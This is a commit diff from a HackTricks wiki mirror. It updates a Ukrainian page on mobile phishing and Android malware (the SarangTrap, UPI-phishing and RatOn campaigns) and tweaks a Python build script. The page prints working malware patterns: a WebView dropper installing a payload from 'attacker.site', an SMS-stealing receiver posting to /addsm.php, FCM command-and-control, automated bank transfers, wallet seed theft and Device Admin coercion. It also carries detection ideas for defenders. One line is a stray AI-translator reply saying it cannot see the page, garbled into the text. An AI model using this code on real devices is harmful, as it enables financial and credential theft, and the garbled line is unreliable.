mirror of
				https://github.com/HackTricks-wiki/hacktricks.git
				synced 2025-10-10 18:36:50 +00:00 
			
		
		
		
	Translated ['src/mobile-pentesting/android-app-pentesting/accessibility-
This commit is contained in:
		
							parent
							
								
									3fd5d361e4
								
							
						
					
					
						commit
						aa831369be
					
				| @ -17,7 +17,7 @@ handler2.setLevel(logging.ERROR) | ||||
| logger.addHandler(handler2) | ||||
| 
 | ||||
| 
 | ||||
| def findtitle(search ,obj, key, path=(),): | ||||
| def findtitle(search, obj, key, path=()): | ||||
|     # logger.debug(f"Looking for {search} in {path}") | ||||
|     if isinstance(obj, dict) and key in obj and obj[key] == search:  | ||||
|         return obj, path | ||||
| @ -54,26 +54,42 @@ def ref(matchobj): | ||||
|             if href.endswith("/"): | ||||
|                 href = href+"README.md" # Fix if ref points to a folder | ||||
|             if "#" in  href: | ||||
|                 chapter, _path = findtitle(href.split("#")[0], book, "source_path") | ||||
|                 title = " ".join(href.split("#")[1].split("-")).title() | ||||
|                 logger.debug(f'Ref has # using title: {title}') | ||||
|                 result = findtitle(href.split("#")[0], book, "source_path") | ||||
|                 if result is not None: | ||||
|                     chapter, _path = result | ||||
|                     title = " ".join(href.split("#")[1].split("-")).title() | ||||
|                     logger.debug(f'Ref has # using title: {title}') | ||||
|                 else: | ||||
|                     raise Exception(f"Chapter not found for path: {href.split('#')[0]}") | ||||
|             else: | ||||
|                 chapter, _path = findtitle(href, book, "source_path") | ||||
|                 logger.debug(f'Recursive title search result: {chapter["name"]}') | ||||
|                 title = chapter['name'] | ||||
|                 result = findtitle(href, book, "source_path") | ||||
|                 if result is not None: | ||||
|                     chapter, _path = result | ||||
|                     logger.debug(f'Recursive title search result: {chapter["name"]}') | ||||
|                     title = chapter['name'] | ||||
|                 else: | ||||
|                     raise Exception(f"Chapter not found for path: {href}") | ||||
|         except Exception as e: | ||||
|             dir = path.dirname(current_chapter['source_path']) | ||||
|             rel_path = path.normpath(path.join(dir,href)) | ||||
|             try: | ||||
|                 logger.debug(f'Not found chapter title from: {href} -- trying with relative path {rel_path}') | ||||
|                 if "#" in  href: | ||||
|                     chapter, _path = findtitle(path.normpath(path.join(dir,href.split('#')[0])), book, "source_path") | ||||
|                     title = " ".join(href.split("#")[1].split("-")).title() | ||||
|                     logger.debug(f'Ref has # using title: {title}') | ||||
|                     result = findtitle(path.normpath(path.join(dir,href.split('#')[0])), book, "source_path") | ||||
|                     if result is not None: | ||||
|                         chapter, _path = result | ||||
|                         title = " ".join(href.split("#")[1].split("-")).title() | ||||
|                         logger.debug(f'Ref has # using title: {title}') | ||||
|                     else: | ||||
|                         raise Exception(f"Chapter not found for relative path: {path.normpath(path.join(dir,href.split('#')[0]))}") | ||||
|                 else: | ||||
|                     chapter, _path = findtitle(path.normpath(path.join(dir,href.split('#')[0])), book, "source_path") | ||||
|                     title = chapter["name"] | ||||
|                     logger.debug(f'Recursive title search result: {chapter["name"]}') | ||||
|                     result = findtitle(path.normpath(path.join(dir,href)), book, "source_path") | ||||
|                     if result is not None: | ||||
|                         chapter, _path = result | ||||
|                         title = chapter["name"] | ||||
|                         logger.debug(f'Recursive title search result: {chapter["name"]}') | ||||
|                     else: | ||||
|                         raise Exception(f"Chapter not found for relative path: {path.normpath(path.join(dir,href))}") | ||||
|             except Exception as e: | ||||
|                 logger.debug(e) | ||||
|                 logger.error(f'Error getting chapter title: {rel_path}') | ||||
|  | ||||
| @ -768,7 +768,7 @@ | ||||
|     - [Stack Shellcode - arm64](binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md) | ||||
|   - [Stack Pivoting - EBP2Ret - EBP chaining](binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md) | ||||
|   - [Uninitialized Variables](binary-exploitation/stack-overflow/uninitialized-variables.md) | ||||
| - [ROP and JOP](binary-exploitation/rop-return-oriented-programing/README.md) | ||||
| - [ROP & JOP](binary-exploitation/rop-return-oriented-programing/README.md) | ||||
|   - [BROP - Blind Return Oriented Programming](binary-exploitation/rop-return-oriented-programing/brop-blind-return-oriented-programming.md) | ||||
|   - [Ret2csu](binary-exploitation/rop-return-oriented-programing/ret2csu.md) | ||||
|   - [Ret2dlresolve](binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md) | ||||
| @ -837,8 +837,9 @@ | ||||
|   - [WWW2Exec - GOT/PLT](binary-exploitation/arbitrary-write-2-exec/aw2exec-got-plt.md) | ||||
|   - [WWW2Exec - \_\_malloc_hook & \_\_free_hook](binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md) | ||||
| - [Common Exploiting Problems](binary-exploitation/common-exploiting-problems.md) | ||||
| - [Linux kernel exploitation - toctou](binary-exploitation/linux-kernel-exploitation/posix-cpu-timers-toctou-cve-2025-38352.md) | ||||
| - [Windows Exploiting (Basic Guide - OSCP lvl)](binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md) | ||||
| - [iOS Exploiting](binary-exploitation/ios-exploiting/README.md) | ||||
| - [iOS Exploiting](binary-exploitation/ios-exploiting.md) | ||||
| 
 | ||||
| # 🤖 AI | ||||
| - [AI Security](AI/README.md) | ||||
|  | ||||
| @ -1,67 +1,67 @@ | ||||
| # Мобільний Фішинг та Розповсюдження Шкідливих Додатків (Android та iOS) | ||||
| # Мобільний фішинг і розповсюдження шкідливих додатків (Android & iOS) | ||||
| 
 | ||||
| {{#include ../../banners/hacktricks-training.md}} | ||||
| 
 | ||||
| > [!INFO] | ||||
| > Ця сторінка охоплює техніки, які використовують зловмисники для розповсюдження **шкідливих Android APK** та **профілів мобільної конфігурації iOS** через фішинг (SEO, соціальна інженерія, фейкові магазини, додатки для знайомств тощо). | ||||
| > Матеріал адаптовано з кампанії SarangTrap, викритої Zimperium zLabs (2025) та інших публічних досліджень. | ||||
| > На цій сторінці описано техніки, які використовують загрозливі актори для розповсюдження **шкідливих Android APKs** і **iOS mobile-configuration profiles** через фішинг (SEO, соціальна інженерія, фейкові магазини, додатки для знайомств тощо). | ||||
| > Матеріал адаптовано з кампанії SarangTrap, оприлюдненої Zimperium zLabs (2025), та інших публічних досліджень. | ||||
| 
 | ||||
| ## Потік Атаки | ||||
| ## Хід атаки | ||||
| 
 | ||||
| 1. **Інфраструктура SEO/Фішингу** | ||||
| * Зареєструвати десятки доменів, що схожі (знайомства, хмарне зберігання, автомобільні послуги…). | ||||
| – Використовувати ключові слова та емодзі місцевою мовою в елементі `<title>`, щоб піднятися в Google. | ||||
| – Розмістити *обидва* інструкції з установки Android (`.apk`) та iOS на одній цільовій сторінці. | ||||
| 2. **Перший Етап Завантаження** | ||||
| * Android: пряме посилання на *недодаткований* або “додаток з третьої сторони” APK. | ||||
| * iOS: `itms-services://` або просте HTTPS посилання на шкідливий **mobileconfig** профіль (див. нижче). | ||||
| 3. **Соціальна Інженерія Після Встановлення** | ||||
| * При першому запуску додаток запитує **код запрошення / перевірки** (ілюзія ексклюзивного доступу). | ||||
| * Код **POSTиться через HTTP** на Командний та Контрольний (C2) сервер. | ||||
| * C2 відповідає `{"success":true}` ➜ шкідливе ПЗ продовжує працювати. | ||||
| * Динамічний аналіз пісочниці / AV, який ніколи не подає дійсний код, не бачить **шкідливої поведінки** (евазія). | ||||
| 4. **Зловживання Дозволами Часу Виконання** (Android) | ||||
| * Небезпечні дозволи запитуються **тільки після позитивної відповіді C2**: | ||||
| 1. **SEO/Phishing Infrastructure** | ||||
| * Реєструвати десятки подібних доменів (dating, cloud share, car service…). | ||||
| – Використовувати ключові слова місцевою мовою та емодзі в елементі `<title>` для ранжування в Google. | ||||
| – Розміщувати інструкції з інсталяції для *Android* (`.apk`) та iOS на одній цільовій сторінці. | ||||
| 2. **Початкове завантаження** | ||||
| * Android: пряма посилання на *непідписаний* або «third-party store» APK. | ||||
| * iOS: `itms-services://` або звичайне HTTPS-посилання на шкідливий **mobileconfig** профіль (див. нижче). | ||||
| 3. **Соціальна інженерія після інсталяції** | ||||
| * Під час першого запуску додаток запитує **код запрошення / перевірки** (ілюзія ексклюзивного доступу). | ||||
| * Код **POSTиться по HTTP** до Command-and-Control (C2). | ||||
| * C2 відповідає `{"success":true}` ➜ malware продовжує роботу. | ||||
| * Динамічний аналіз Sandbox/AV, який ніколи не відправляє валідний код, не виявляє **шкідливої поведінки** (evade). | ||||
| 4. **Зловживання дозволами під час виконання (Runtime Permission Abuse)** (Android) | ||||
| * Дозволи, що дають значні привілеї, запрошуються тільки **після позитивної відповіді C2**: | ||||
| ```xml | ||||
| <uses-permission android:name="android.permission.READ_CONTACTS"/> | ||||
| <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/> | ||||
| <uses-permission android:name="android.permission.READ_PHONE_STATE"/> | ||||
| <!-- Старі версії також запитували дозволи на SMS --> | ||||
| <!-- Older builds also asked for SMS permissions --> | ||||
| ``` | ||||
| * Останні варіанти **видаляють `<uses-permission>` для SMS з `AndroidManifest.xml`**, але залишають шлях коду Java/Kotlin, який читає SMS через рефлексію ⇒ знижує статичний бал, але все ще функціонує на пристроях, які надають дозвіл через зловживання `AppOps` або старі цілі. | ||||
| 5. **Фасадний Інтерфейс та Збір Даних у Фоновому Режимі** | ||||
| * Додаток показує безпечні екрани (переглядач SMS, вибір галереї), реалізовані локально. | ||||
| * Останні варіанти **видаляють `<uses-permission>` для SMS з `AndroidManifest.xml`**, але залишають Java/Kotlin код, який читає SMS через reflection ⇒ це знижує статичну оцінку, але залишається функціональним на пристроях, які надають дозвіл через `AppOps` abuse або старі цілі. | ||||
| 5. **Фасадний UI та збір у фоновому режимі** | ||||
| * Додаток показує нешкідливі екрани (SMS viewer, gallery picker), реалізовані локально. | ||||
| * Тим часом він ексфільтрує: | ||||
| - IMEI / IMSI, номер телефону | ||||
| - Повний дамп `ContactsContract` (JSON масив) | ||||
| - Повний дамп `ContactsContract` (JSON array) | ||||
| - JPEG/PNG з `/sdcard/DCIM`, стиснуті за допомогою [Luban](https://github.com/Curzibn/Luban) для зменшення розміру | ||||
| - Додатковий вміст SMS (`content://sms`) | ||||
| Payloads **пакуються в архів** і надсилаються через `HTTP POST /upload.php`. | ||||
| 6. **Техніка Доставки iOS** | ||||
| * Один **профіль мобільної конфігурації** може запитувати `PayloadType=com.apple.sharedlicenses`, `com.apple.managedConfiguration` тощо, щоб зареєструвати пристрій у “MDM”-подібному нагляді. | ||||
| - Опційний вміст SMS (`content://sms`) | ||||
| Payloads пакетно zip-уються і відправляються через `HTTP POST /upload.php`. | ||||
| 6. **Техніка доставки для iOS** | ||||
| * Одиничний **mobile-configuration profile** може запитувати `PayloadType=com.apple.sharedlicenses`, `com.apple.managedConfiguration` тощо, щоб зареєструвати пристрій у супервізії, подібній до “MDM”. | ||||
| * Інструкції соціальної інженерії: | ||||
| 1. Відкрити Налаштування ➜ *Профіль завантажено*. | ||||
| 2. Натиснути *Встановити* три рази (скріншоти на фішинговій сторінці). | ||||
| 3. Довірити недодаткований профіль ➜ зловмисник отримує *Контакти* та *Фото* права без перевірки App Store. | ||||
| 7. **Мережева Система** | ||||
| * Простий HTTP, часто на порту 80 з заголовком HOST, як `api.<phishingdomain>.com`. | ||||
| 1. Open Settings ➜ *Profile downloaded*. | ||||
| 2. Tap *Install* три рази (скріншоти на фішинговій сторінці). | ||||
| 3. Trust the unsigned profile ➜ зловмисник отримує *Contacts* & *Photo* entitlement без перевірки App Store. | ||||
| 7. **Мережевий рівень** | ||||
| * Простий HTTP, часто на порті 80 з HOST header на кшталт `api.<phishingdomain>.com`. | ||||
| * `User-Agent: Dalvik/2.1.0 (Linux; U; Android 13; Pixel 6 Build/TQ3A.230805.001)` (без TLS → легко помітити). | ||||
| 
 | ||||
| ## Тестування Захисту / Поради Червоній Команді | ||||
| ## Тестування захисту / поради Red-Team | ||||
| 
 | ||||
| * **Обхід Динамічного Аналізу** – Під час оцінки шкідливого ПЗ автоматизуйте фазу коду запрошення за допомогою Frida/Objection, щоб досягти шкідливої гілки. | ||||
| * **Порівняння Маніфесту та Часу Виконання** – Порівняйте `aapt dump permissions` з часом виконання `PackageManager#getRequestedPermissions()`; відсутність небезпечних дозволів є червоним прапором. | ||||
| * **Мережева Канарка** – Налаштуйте `iptables -p tcp --dport 80 -j NFQUEUE`, щоб виявити непостійні POST-сплески після введення коду. | ||||
| * **Перевірка mobileconfig** – Використовуйте `security cms -D -i profile.mobileconfig` на macOS, щоб перерахувати `PayloadContent` і виявити надмірні права. | ||||
| * **Dynamic Analysis Bypass** – під час оцінки malware автоматизуйте фазу введення коду запрошення за допомогою Frida/Objection, щоб дістатися до шкідливої гілки. | ||||
| * **Manifest vs. Runtime Diff** – порівняйте `aapt dump permissions` з runtime `PackageManager#getRequestedPermissions()`; відсутність небезпечних дозволів — червоний прапорець. | ||||
| * **Network Canary** – налаштуйте `iptables -p tcp --dport 80 -j NFQUEUE` для виявлення аномальних POST-сплесків після введення коду. | ||||
| * **mobileconfig Inspection** – використовуйте `security cms -D -i profile.mobileconfig` на macOS, щоб перелічити `PayloadContent` і виявити надмірні entitlements. | ||||
| 
 | ||||
| ## Ідеї для Виявлення Блакитної Команди | ||||
| ## Ідеї для виявлення Blue-Team | ||||
| 
 | ||||
| * **Прозорість Сертифікатів / DNS Аналітика** для виявлення раптових сплесків доменів з багатими ключовими словами. | ||||
| * **User-Agent та Path Regex**: `(?i)POST\s+/(check|upload)\.php` з клієнтів Dalvik поза Google Play. | ||||
| * **Телеметрія Кодів Запрошення** – POST 6–8-значних числових кодів незабаром після установки APK може вказувати на стадіювання. | ||||
| * **Підписування MobileConfig** – Блокувати недодатковані профілі конфігурації через політику MDM. | ||||
| * **Certificate Transparency / DNS Analytics** для виявлення різкого спалаху доменів, насичених ключовими словами. | ||||
| * **User-Agent & Path Regex**: `(?i)POST\s+/(check|upload)\.php` від Dalvik клієнтів поза Google Play. | ||||
| * **Invite-code Telemetry** – POST 6–8 цифрових кодів незабаром після встановлення APK може вказувати на стадію підготовки. | ||||
| * **MobileConfig Signing** – блокувати непідписані configuration profiles через політику MDM. | ||||
| 
 | ||||
| ## Корисний Фрагмент Frida: Авто-Обхід Коду Запрошення | ||||
| ## Корисний фрагмент Frida: автоматичний обхід коду запрошення | ||||
| ```python | ||||
| # frida -U -f com.badapp.android -l bypass.js --no-pause | ||||
| # Hook HttpURLConnection write to always return success | ||||
| @ -90,17 +90,17 @@ LubanCompress 1.1.8       # "Luban" string inside classes.dex | ||||
| 
 | ||||
| ## Android WebView Payment Phishing (UPI) – Dropper + FCM C2 Pattern | ||||
| 
 | ||||
| Цей шаблон спостерігався в кампаніях, які зловживають темами державних пільг для крадіжки індійських UPI облікових даних та OTP. Оператори поєднують авторитетні платформи для доставки та стійкості. | ||||
| Цей патерн спостерігався в кампаніях, що використовують теми державних виплат для викрадення індійських UPI облікових даних та OTPs. Оператори ланцюжать авторитетні платформи для доставки та підвищення стійкості. | ||||
| 
 | ||||
| ### Ланцюг доставки через надійні платформи | ||||
| - Відео на YouTube → опис містить коротке посилання | ||||
| - Коротке посилання → сайт фішингу на GitHub Pages, що імітує легітимний портал | ||||
| - Той же репозиторій GitHub містить APK з підробленою позначкою “Google Play”, що безпосередньо посилається на файл | ||||
| - Динамічні фішингові сторінки працюють на Replit; віддалений командний канал використовує Firebase Cloud Messaging (FCM) | ||||
| ### Delivery chain across trusted platforms | ||||
| - YouTube video lure → у описі міститься коротке посилання | ||||
| - Коротке посилання → GitHub Pages фішинговий сайт, що імітує легітимний портал | ||||
| - Той же GitHub repo розміщує APK з фальшивим “Google Play” значком, що посилається безпосередньо на файл | ||||
| - Динамічні фішингові сторінки розміщені на Replit; канал віддалених команд використовує Firebase Cloud Messaging (FCM) | ||||
| 
 | ||||
| ### Dropper з вбудованим payload та офлайн установкою | ||||
| - Перший APK є інсталятором (dropper), який постачає справжнє шкідливе ПЗ за адресою `assets/app.apk` і запитує користувача вимкнути Wi‑Fi/мобільні дані, щоб зменшити виявлення в хмарі. | ||||
| - Вбудований payload встановлюється під невинною назвою (наприклад, “Secure Update”). Після установки як інсталятор, так і payload присутні як окремі додатки. | ||||
| ### Dropper with embedded payload and offline install | ||||
| - Перший APK — встановник (dropper), який доставляє реальний malware у `assets/app.apk` і підказує користувачу вимкнути Wi‑Fi/мобільні дані, щоб зменшити виявлення в хмарі. | ||||
| - Вбудований payload встановлюється під невинною назвою (наприклад, “Secure Update”). Після встановлення і встановник, і payload присутні як окремі додатки. | ||||
| 
 | ||||
| Static triage tip (grep for embedded payloads): | ||||
| ```bash | ||||
| @ -108,10 +108,10 @@ unzip -l sample.apk | grep -i "assets/app.apk" | ||||
| # Or: | ||||
| zipgrep -i "classes|.apk" sample.apk | head | ||||
| ``` | ||||
| ### Динамічне виявлення кінцевих точок через коротке посилання | ||||
| - Шкідливе ПЗ отримує список активних кінцевих точок у простому текстовому форматі, розділеному комами, з короткого посилання; прості перетворення рядків створюють фінальний шлях фішингової сторінки. | ||||
| ### Динамічне виявлення endpoints через shortlink | ||||
| - Malware отримує plain-text, comma-separated список активних endpoints з shortlink; прості string transforms генерують фінальний phishing page path. | ||||
| 
 | ||||
| Приклад (санітизований): | ||||
| Приклад (санітизовано): | ||||
| ``` | ||||
| GET https://rebrand.ly/dclinkto2 | ||||
| Response: https://sqcepo.replit.app/gate.html,https://sqcepo.replit.app/addsm.php | ||||
| @ -128,26 +128,26 @@ String smsPost = parts[1]; | ||||
| String credsPost = upiPage.replace("gate.htm", "addup.php"); | ||||
| ``` | ||||
| ### WebView-based UPI credential harvesting | ||||
| - Крок “Зробити платіж ₹1 / UPI‑Lite” завантажує HTML-форму зловмисника з динамічного кінцевого пункту всередині WebView і захоплює чутливі поля (телефон, банк, UPI PIN), які `POST`яться на `addup.php`. | ||||
| - Крок “Make payment of ₹1 / UPI‑Lite” завантажує HTML-форму зловмисника з динамічного endpoint всередині WebView і захоплює конфіденційні поля (номер телефону, банк, UPI PIN), які `POST`яться до `addup.php`. | ||||
| 
 | ||||
| Minimal loader: | ||||
| Мінімальний loader: | ||||
| ```java | ||||
| WebView wv = findViewById(R.id.web); | ||||
| wv.getSettings().setJavaScriptEnabled(true); | ||||
| wv.loadUrl(upiPage); // ex: https://<replit-app>/gate.htm | ||||
| ``` | ||||
| ### Саморозповсюдження та перехоплення SMS/OTP | ||||
| - Запитуються агресивні дозволи при першому запуску: | ||||
| - Під час першого запуску запитуються агресивні дозволи: | ||||
| ```xml | ||||
| <uses-permission android:name="android.permission.READ_CONTACTS"/> | ||||
| <uses-permission android:name="android.permission.SEND_SMS"/> | ||||
| <uses-permission android:name="android.permission.READ_SMS"/> | ||||
| <uses-permission android:name="android.permission.CALL_PHONE"/> | ||||
| ``` | ||||
| - Контакти використовуються для масової відправки смс-фішингу з пристрою жертви. | ||||
| - Вхідні смс перехоплюються приймачем трансляції та завантажуються з метаданими (відправник, текст, SIM-слот, випадковий ID для кожного пристрою) на `/addsm.php`. | ||||
| - Контакти перебираються для масової розсилки smishing SMS з пристрою жертви. | ||||
| - Вхідні SMS перехоплюються broadcast receiver і завантажуються з метаданими (sender, body, SIM slot, per-device random ID) до `/addsm.php`. | ||||
| 
 | ||||
| Схема приймача: | ||||
| Ескіз receiver: | ||||
| ```java | ||||
| public void onReceive(Context c, Intent i){ | ||||
| SmsMessage[] msgs = Telephony.Sms.Intents.getMessagesFromIntent(i); | ||||
| @ -162,9 +162,7 @@ postForm(urlAddSms, new FormBody.Builder() | ||||
| } | ||||
| ``` | ||||
| ### Firebase Cloud Messaging (FCM) як стійкий C2 | ||||
| - Payload реєструється в FCM; push-повідомлення містять поле `_type`, яке використовується як перемикач для активації дій (наприклад, оновлення шаблонів тексту фішингу, перемикання поведінки). | ||||
| 
 | ||||
| Приклад payload FCM: | ||||
| - The payload реєструється в FCM; push messages містять поле `_type`, яке використовується як перемикач для запуску дій (наприклад, оновлення шаблонів текстів phishing, перемикання поведінки). | ||||
| ```json | ||||
| { | ||||
| "to": "<device_fcm_token>", | ||||
| @ -186,27 +184,177 @@ case "smish": sendSmishToContacts(); break; | ||||
| } | ||||
| } | ||||
| ``` | ||||
| ### Hunting patterns and IOCs | ||||
| - APK містить вторинний вантаж у `assets/app.apk` | ||||
| - WebView завантажує платіж з `gate.htm` і ексфільтрує до `/addup.php` | ||||
| - Ексфільтрація SMS до `/addsm.php` | ||||
| - Конфігурація, що отримується через короткі посилання (наприклад, `rebrand.ly/*`), що повертає CSV кінцеві точки | ||||
| - Додатки, позначені як загальні “Оновлення/Безпечне оновлення” | ||||
| - FCM `data` повідомлення з `_type` дискримінатором в ненадійних додатках | ||||
| ### Шаблони полювання та IOCs | ||||
| - APK contains secondary payload at `assets/app.apk` | ||||
| - WebView loads payment from `gate.htm` and exfiltrates to `/addup.php` | ||||
| - SMS exfiltration to `/addsm.php` | ||||
| - Shortlink-driven config fetch (e.g., `rebrand.ly/*`) returning CSV endpoints | ||||
| - Apps labelled as generic “Update/Secure Update” | ||||
| - FCM `data` messages with a `_type` discriminator in untrusted apps | ||||
| 
 | ||||
| ### Detection & defence ideas | ||||
| - Позначати додатки, які інструктують користувачів вимкнути мережу під час установки, а потім завантажити другий APK з `assets/`. | ||||
| - Сповіщати про кортеж дозволів: `READ_CONTACTS` + `READ_SMS` + `SEND_SMS` + платіжні потоки на основі WebView. | ||||
| - Моніторинг виходу для `POST /addup.php|/addsm.php` на не корпоративних хостах; блокувати відомі інфраструктури. | ||||
| - Правила мобільного EDR: ненадійний додаток, що реєструється для FCM і розгалужується на основі поля `_type`. | ||||
| ### Ідеї виявлення та захисту | ||||
| - Позначати додатки, які просять користувачів вимкнути мережу під час інсталяції, а потім side-load другого APK з `assets/`. | ||||
| - Сигналізувати при кортежі дозволів: `READ_CONTACTS` + `READ_SMS` + `SEND_SMS` + WebView-based payment flows. | ||||
| - Моніторинг egress для `POST /addup.php|/addsm.php` на некорпоративних хостах; блокувати відому інфраструктуру. | ||||
| - Правила Mobile EDR: untrusted app, що реєструється для FCM і розгалужується по полю `_type`. | ||||
| 
 | ||||
| --- | ||||
| 
 | ||||
| ## Android Accessibility/Overlay & Device Admin Abuse, ATS automation, and NFC relay orchestration – Кейс RatOn | ||||
| 
 | ||||
| Кампанія RatOn banker/RAT (ThreatFabric) — конкретний приклад того, як сучасні mobile phishing операції поєднують WebView droppers, Accessibility-driven UI automation, overlays/ransom, Device Admin coercion, Automated Transfer System (ATS), захоплення crypto wallet та навіть NFC-relay orchestration. Цей розділ абстрагує повторно використовувані техніки. | ||||
| 
 | ||||
| ### Stage-1: WebView → native install bridge (dropper) | ||||
| Атакувальники відображають WebView, що завантажує сторінку атакуючого, і інжектять JavaScript interface, який надає доступ до native installer. Натиск на HTML-кнопку викликає native code, який встановлює second-stage APK, вбудований у assets дроппера, а потім одразу його запускає. | ||||
| 
 | ||||
| Мінімальний патерн: | ||||
| ```java | ||||
| public class DropperActivity extends Activity { | ||||
| @Override protected void onCreate(Bundle b){ | ||||
| super.onCreate(b); | ||||
| WebView wv = new WebView(this); | ||||
| wv.getSettings().setJavaScriptEnabled(true); | ||||
| wv.addJavascriptInterface(new Object(){ | ||||
| @android.webkit.JavascriptInterface | ||||
| public void installApk(){ | ||||
| try { | ||||
| PackageInstaller pi = getPackageManager().getPackageInstaller(); | ||||
| PackageInstaller.SessionParams p = new PackageInstaller.SessionParams(PackageInstaller.SessionParams.MODE_FULL_INSTALL); | ||||
| int id = pi.createSession(p); | ||||
| try (PackageInstaller.Session s = pi.openSession(id); | ||||
| InputStream in = getAssets().open("payload.apk"); | ||||
| OutputStream out = s.openWrite("base.apk", 0, -1)){ | ||||
| byte[] buf = new byte[8192]; int r; while((r=in.read(buf))>0){ out.write(buf,0,r);} s.fsync(out); | ||||
| } | ||||
| PendingIntent status = PendingIntent.getBroadcast(this, 0, new Intent("com.evil.INSTALL_DONE"), PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_IMMUTABLE); | ||||
| pi.commit(id, status.getIntentSender()); | ||||
| } catch (Exception e) { /* log */ } | ||||
| } | ||||
| }, "bridge"); | ||||
| setContentView(wv); | ||||
| wv.loadUrl("https://attacker.site/install.html"); | ||||
| } | ||||
| } | ||||
| ``` | ||||
| Я не бачу вмісту сторінки. Будь ласка, вставте HTML/markdown, який потрібно перекласти. Я перекладу видимий англомовний текст українською, залишаючи без змін код, теги, посилання, шляхи, назви технік та інші елементи, зазначені у ваших інструкціях. | ||||
| ```html | ||||
| <button onclick="bridge.installApk()">Install</button> | ||||
| ``` | ||||
| Після встановлення dropper запускає payload через явний package/activity: | ||||
| ```java | ||||
| Intent i = new Intent(); | ||||
| i.setClassName("com.stage2.core", "com.stage2.core.MainActivity"); | ||||
| startActivity(i); | ||||
| ``` | ||||
| Hunting idea: недовірені додатки, які викликають `addJavascriptInterface()` і відкривають installer-like methods для WebView; APK, що постачає вбудований вторинний payload у `assets/` і викликає Package Installer Session API. | ||||
| 
 | ||||
| ### Воронка згоди: Accessibility + Device Admin + follow-on runtime prompts | ||||
| Stage-2 відкриває WebView, який містить сторінку “Access”. Її кнопка викликає exported method, що переводить жертву до налаштувань Accessibility і просить увімкнути rogue service. Після надання, malware використовує Accessibility, щоб автоматично натискати кнопки в наступних діалогах runtime permission (contacts, overlay, manage system settings тощо) і запитує Device Admin. | ||||
| 
 | ||||
| - Accessibility програмно допомагає приймати подальші запити, знаходячи кнопки типу “Allow”/“OK” в node-tree і відправляючи кліки. | ||||
| - Перевірка/запит дозволу overlay: | ||||
| ```java | ||||
| if (!Settings.canDrawOverlays(ctx)) { | ||||
| Intent i = new Intent(Settings.ACTION_MANAGE_OVERLAY_PERMISSION, | ||||
| Uri.parse("package:" + ctx.getPackageName())); | ||||
| ctx.startActivity(i); | ||||
| } | ||||
| ``` | ||||
| Див. також: | ||||
| 
 | ||||
| {{#ref}} | ||||
| ../../mobile-pentesting/android-app-pentesting/accessibility-services-abuse.md | ||||
| {{#endref}} | ||||
| 
 | ||||
| ### Overlay phishing/ransom через WebView | ||||
| Оператори можуть надсилати команди, щоб: | ||||
| - відобразити full-screen overlay з URL, або | ||||
| - передати inline HTML, яке завантажується в WebView overlay. | ||||
| 
 | ||||
| Ймовірні застосування: coercion (введення PIN), відкриття wallet для перехоплення PIN, ransom-повідомлення. Передбачте команду, яка перевіряє та забезпечує наявність дозволу overlay, якщо його бракує. | ||||
| 
 | ||||
| ### Remote control model – текстовий pseudo-screen + screen-cast | ||||
| - Низька пропускна здатність: періодично дампити Accessibility node tree, серіалізувати видимі тексти/ролі/bounds і відправляти на C2 як pseudo-screen (команди на кшталт `txt_screen` для одноразового, та `screen_live` для безперервного). | ||||
| - Висока деталізація: запитати MediaProjection і запускати screen-casting/запис за запитом (команди на кшталт `display` / `record`). | ||||
| 
 | ||||
| ### ATS playbook (автоматизація банківського додатку) | ||||
| Отримавши JSON-завдання, відкрити банківський додаток, керувати UI через Accessibility, комбінуючи текстові запити та натискання по координатах, і ввести платіжний PIN жертви, коли буде запитано. | ||||
| 
 | ||||
| Приклад завдання: | ||||
| ```json | ||||
| { | ||||
| "cmd": "transfer", | ||||
| "receiver_address": "ACME s.r.o.", | ||||
| "account": "123456789/0100", | ||||
| "amount": "24500.00", | ||||
| "name": "ACME" | ||||
| } | ||||
| ``` | ||||
| Example texts seen in one target flow (CZ → EN): | ||||
| - "Nová platba" → "Нова оплата" | ||||
| - "Zadat platbu" → "Ввести платіж" | ||||
| - "Nový příjemce" → "Новий одержувач" | ||||
| - "Domácí číslo účtu" → "Номер внутрішнього рахунку" | ||||
| - "Další" → "Далі" | ||||
| - "Odeslat" → "Надіслати" | ||||
| - "Ano, pokračovat" → "Так, продовжити" | ||||
| - "Zaplatit" → "Сплатити" | ||||
| - "Hotovo" → "Готово" | ||||
| 
 | ||||
| Operators can also check/raise transfer limits via commands like `check_limit` and `limit` that navigate the limits UI similarly. | ||||
| 
 | ||||
| ### Crypto wallet seed extraction | ||||
| Targets like MetaMask, Trust Wallet, Blockchain.com, Phantom. Flow: unlock (stolen PIN or provided password), navigate to Security/Recovery, reveal/show seed phrase, keylog/exfiltrate it. Implement locale-aware selectors (EN/RU/CZ/SK) to stabilise navigation across languages. | ||||
| 
 | ||||
| ### Device Admin coercion | ||||
| Device Admin APIs are used to increase PIN-capture opportunities and frustrate the victim: | ||||
| 
 | ||||
| - Негайне блокування: | ||||
| ```java | ||||
| dpm.lockNow(); | ||||
| ``` | ||||
| - Примусово зробити поточні облікові дані недійсними, щоб змусити зміну (Accessibility перехоплює новий PIN/пароль): | ||||
| ```java | ||||
| dpm.setPasswordExpirationTimeout(admin, 1L); // requires admin / often owner | ||||
| ``` | ||||
| - Примусово перейти на розблокування без біометрії, вимкнувши біометричні функції keyguard: | ||||
| ```java | ||||
| dpm.setKeyguardDisabledFeatures(admin, | ||||
| DevicePolicyManager.KEYGUARD_DISABLE_FINGERPRINT | | ||||
| DevicePolicyManager.KEYGUARD_DISABLE_TRUST_AGENTS); | ||||
| ``` | ||||
| Note: Багато контролів DevicePolicyManager вимагають Device Owner/Profile Owner на сучасних Android; деякі OEM-збірки можуть бути менш строгими. Завжди перевіряйте на цільовій ОС/OEM. | ||||
| 
 | ||||
| ### NFC relay orchestration (NFSkate) | ||||
| Stage-3 може встановити та запустити зовнішній модуль NFC-relay (наприклад, NFSkate) і навіть передати йому HTML-шаблон, щоб підказувати жертві під час реле. Це дозволяє здійснювати безконтактні cash-out за карткою при фізичній присутності разом з online ATS. | ||||
| 
 | ||||
| Background: [NFSkate NFC relay](https://www.threatfabric.com/blogs/ghost-tap-new-cash-out-tactic-with-nfc-relay). | ||||
| 
 | ||||
| ### Operator command set (sample) | ||||
| - UI/state: `txt_screen`, `screen_live`, `display`, `record` | ||||
